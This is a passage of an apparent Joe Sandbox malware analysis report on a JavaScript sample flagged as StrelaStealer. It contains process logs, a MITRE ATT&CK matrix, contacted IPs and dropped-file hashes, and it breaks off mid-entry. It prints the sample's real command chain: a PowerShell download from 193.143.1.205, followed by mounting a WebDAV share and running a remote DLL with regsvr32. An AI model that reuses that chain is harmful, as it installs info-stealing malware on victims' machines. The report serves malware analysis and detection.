Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2624560062728623951.js	5%	Virustotal		Browse
2624560062728623951.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/9e	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem	net.exe, 00000006.00000002.1735810925.00000283D3118000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.2954725188.0000019A1BABF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/9e	net.exe, 00000006.00000002.1735971960.00000283D314C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1734781000.00000283D314C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1733636263.0000019A1CF42000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1736283207.00000283D316E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1735971960.00000283D314C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1734781000.00000283D314C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1733538590.00000283D316C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1735810925.00000283D3118000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1733636263.0000019A1CF42000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588631
Start date and time:	2025-01-11 03:25:52 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2624560062728623951.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 2.16.168.105, 2.16.168.107, 2.23.197.184, 184.28.90.27, 199.232.214.172, 3.233.129.217, 20.12.23.50, 23.56.162.204, 20.3.187.198, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:26:45	API Interceptor	22x Sleep call for process: powershell.exe modified
21:26:49	API Interceptor	1x Sleep call for process: net.exe modified
21:26:49	API Interceptor	2x Sleep call for process: svchost.exe modified
21:26:56	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	166452923276113028.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16042278381135117219.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1297823757234143258.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7654219842078021961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1231561673271419181.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1487427797195518826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1504631236979031969.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7222172992877722612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	25717297553175212150.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	7654219842078021961.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1231561673271419181.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1487427797195518826.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1504631236979031969.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	7222172992877722612.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2556095152538830312.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2024032514221887775.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	225111419252504808.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1601021956623126375.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2920450291176811805.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	166452923276113028.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16042278381135117219.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1297823757234143258.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7654219842078021961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1231561673271419181.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1487427797195518826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1504631236979031969.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7222172992877722612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.307337476516696
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrJ:KooCEYhgYEL0In
MD5:	6D49C30BC51E30A7354A0A9D7CF2C0B1
SHA1:	013D7610B63EC95ADFD0925A80968B2549AF7A03
SHA-256:	9E334047B64DD414FF20B3941BADD64B5EC5993C0B80F6B9DA6C34D580254D89
SHA-512:	8B6AAD51B4ADAE4B77B73705B2EE0BA5CE79789A212797203E8C8D4E39E40DDFB714C200FCBF0F7B9532EB9CDDA49379A7FBA3F75010493FBC89AE736F67268B
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x781a07c1, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221008739429022
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Raza/vMUM2Uvz7DO
MD5:	AA58189EE303047FF7E0518C85D486EE
SHA1:	3A879C0619FD307620C45889F4D9DDCE431C5D7F
SHA-256:	703D77BDB05AD37F5512ED5F84170B1E5778F6A3FEF8B5A168752C50241B6FEF
SHA-512:	787456DCDBCF0756168BB1F34B55F7AC946A6BDFFDAF23D7ACAA3F405AC2E866EC7C6FDB0C85276A6641BC5277D0C2CFA5993FCCA6FC54B4A623B6BFA68209FE
Malicious:	false
Preview:	x...... .......A.......X\...;...{......................0.!..........{A.1....}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{.....................................d2....}...................53.1....}O..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07693789839289306
Encrypted:	false
SSDEEP:	3:aYej2kYluAjjn13a//SgnlillcVO/lnlZMxZNQl:azj2Rlbj53q7lGOewk
MD5:	EBC3746BCBF0A256A993EA1151D106A8
SHA1:	79E34356F1E4548041AC5E48DDE450F76F4A618F
SHA-256:	17DD0AE47C6E922DD3103778418166B770F17C3EFEF8EDE6524989B86737B26D
SHA-512:	D8C399AAA78DF034E8E9BC190F3A8148901F1B1B0AD5F8373967BA784F7380660089747BF86E5FD46E1A8DC1FC94258C7D69CE6C1C1B50EBB61409B4211EFDF8
Malicious:	false
Preview:	.v.......................................;...{..1....}O......{A..............{A......{A..........{A].................53.1....}O.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.15604245550433
Encrypted:	false
SSDEEP:	6:iO4qccZAyq2Pwkn2nKuAl9OmbnIFUtSqccZdEr1ZmwsqccZtRkwOwkn2nKuAl9Oe:7ycZlvYfHAahFUtocZdEr1/ucZr5JfHi
MD5:	22CC30D3B88BC05C912C3B9EE19E9DEC
SHA1:	64C514A1E7F504DB58BE3A438AEBFDF803A0C1D2
SHA-256:	A0B26AEB6004C999DEFE99D5505344E761601D2C76083AE8BDD96343EC463D5D
SHA-512:	A3B308CFFC8C64F82C20DBE36B99E59D50C3EE78138C4EB7DF0A8B21A8830AD7A18663054A0A3904F025DB655710F0AA0C67E97C2213E149102F671636EB33F8
Malicious:	false
Preview:	2025/01/10-21:26:49.192 1ea0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:26:49.194 1ea0 Recovering log #3.2025/01/10-21:26:49.199 1ea0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.15604245550433
Encrypted:	false
SSDEEP:	6:iO4qccZAyq2Pwkn2nKuAl9OmbnIFUtSqccZdEr1ZmwsqccZtRkwOwkn2nKuAl9Oe:7ycZlvYfHAahFUtocZdEr1/ucZr5JfHi
MD5:	22CC30D3B88BC05C912C3B9EE19E9DEC
SHA1:	64C514A1E7F504DB58BE3A438AEBFDF803A0C1D2
SHA-256:	A0B26AEB6004C999DEFE99D5505344E761601D2C76083AE8BDD96343EC463D5D
SHA-512:	A3B308CFFC8C64F82C20DBE36B99E59D50C3EE78138C4EB7DF0A8B21A8830AD7A18663054A0A3904F025DB655710F0AA0C67E97C2213E149102F671636EB33F8
Malicious:	false
Preview:	2025/01/10-21:26:49.192 1ea0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:26:49.194 1ea0 Recovering log #3.2025/01/10-21:26:49.199 1ea0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.191186916249954
Encrypted:	false
SSDEEP:	6:iO4qccTAMq2Pwkn2nKuAl9Ombzo2jMGIFUtSqcc2ZmwsqcctFkwOwkn2nKuAl9OU:7yckMvYfHAa8uFUtoc2/ucj5JfHAa8RJ
MD5:	5A2084D45297541AB76CEE4242828F57
SHA1:	F9879CF81F005B2AD9BF256B64F6280F6BA8518C
SHA-256:	6079AF471C4ACAE3D73E8A7662D77361B6B86AC680765A4454911AA39F99F9B1
SHA-512:	C773BF820D4757B00358249FC143B9F425F3B97C0710E397C645ECE8439332221217992E4662C1EFDB6842FCA747191AA70C126813B5FDFE6D6ED13695E8EE29
Malicious:	false
Preview:	2025/01/10-21:26:49.300 1f94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:26:49.302 1f94 Recovering log #3.2025/01/10-21:26:49.303 1f94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.191186916249954
Encrypted:	false
SSDEEP:	6:iO4qccTAMq2Pwkn2nKuAl9Ombzo2jMGIFUtSqcc2ZmwsqcctFkwOwkn2nKuAl9OU:7yckMvYfHAa8uFUtoc2/ucj5JfHAa8RJ
MD5:	5A2084D45297541AB76CEE4242828F57
SHA1:	F9879CF81F005B2AD9BF256B64F6280F6BA8518C
SHA-256:	6079AF471C4ACAE3D73E8A7662D77361B6B86AC680765A4454911AA39F99F9B1
SHA-512:	C773BF820D4757B00358249FC143B9F425F3B97C0710E397C645ECE8439332221217992E4662C1EFDB6842FCA747191AA70C126813B5FDFE6D6ED13695E8EE29
Malicious:	false
Preview:	2025/01/10-21:26:49.300 1f94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:26:49.302 1f94 Recovering log #3.2025/01/10-21:26:49.303 1f94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8993f316-041d-4875-abd0-08d4a6d45864.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.966895279106768
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4T3y:Y2sRdsVdMHO3QYhbG7nby
MD5:	2B2DD4FFCADFFFA544C423CE65A911E2
SHA1:	3C690C4670D732A1F54C5BD0B93A7CFF6CA96720
SHA-256:	7ACAC2E53C854E8000F43FE4CB549E82A2B9F6A957366C429ABB730EE326CBD0
SHA-512:	51D13C2DCDFB21C1C0F1756DA980098861148C6CE5CBB18F8D6247FB33D1037B60EB4CE27C7AC482D705509BD1BDF1EDDBC619CC6D6610A3EED3F2AAD0185C50
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.966895279106768
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4T3y:Y2sRdsVdMHO3QYhbG7nby
MD5:	2B2DD4FFCADFFFA544C423CE65A911E2
SHA1:	3C690C4670D732A1F54C5BD0B93A7CFF6CA96720
SHA-256:	7ACAC2E53C854E8000F43FE4CB549E82A2B9F6A957366C429ABB730EE326CBD0
SHA-512:	51D13C2DCDFB21C1C0F1756DA980098861148C6CE5CBB18F8D6247FB33D1037B60EB4CE27C7AC482D705509BD1BDF1EDDBC619CC6D6610A3EED3F2AAD0185C50
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6ce522.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.966895279106768
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4T3y:Y2sRdsVdMHO3QYhbG7nby
MD5:	2B2DD4FFCADFFFA544C423CE65A911E2
SHA1:	3C690C4670D732A1F54C5BD0B93A7CFF6CA96720
SHA-256:	7ACAC2E53C854E8000F43FE4CB549E82A2B9F6A957366C429ABB730EE326CBD0
SHA-512:	51D13C2DCDFB21C1C0F1756DA980098861148C6CE5CBB18F8D6247FB33D1037B60EB4CE27C7AC482D705509BD1BDF1EDDBC619CC6D6610A3EED3F2AAD0185C50
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c6e29482-0fad-4518-8d18-9b84ee1a757e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.972993377953588
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq9sBdOg2HIcaq3QYiubInP7E4T3y:Y2sRdszdMHj3QYhbG7nby
MD5:	AF7A98B1C6D0AB0922079FE35E251E08
SHA1:	EE83BBB3AE3A094CF4546D4FE7F41CA44229E193
SHA-256:	4752F9FD05B164ACFDEE1BAACD45B575393FF6BF0ACA9A1B28FB64E42D4D84C8
SHA-512:	1BBA300BCA9C05A6EDA0856A2728F640C581D75A9E58CC7B5869DE381E889C47528F1779D0823726A1659104D4F75D7D55621B0ECF0301CB0B5E97DBCC2DFAA9
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381122420934707","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":155856},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.262812087150625
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7MEOD:etJCV4FiN/jTN/2r8Mta02fEhgO73goq
MD5:	9274ABC30C0276C8E36A9484413A3743
SHA1:	9F643C348470E961871C30717C59830D4991645E
SHA-256:	8D5E0B3DD90180F9B4742D976E3C3C24FCFCF8BA5FBEC8768EDC4326122A5B02
SHA-512:	BDE733B21FA9063C039FC92F0E5960FF4EA00102759E8102BAADF89206571745F816F8E0C513EBD6DF340D1327BB9BD7C05E48132677C094F1DB3622EF849D1B
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
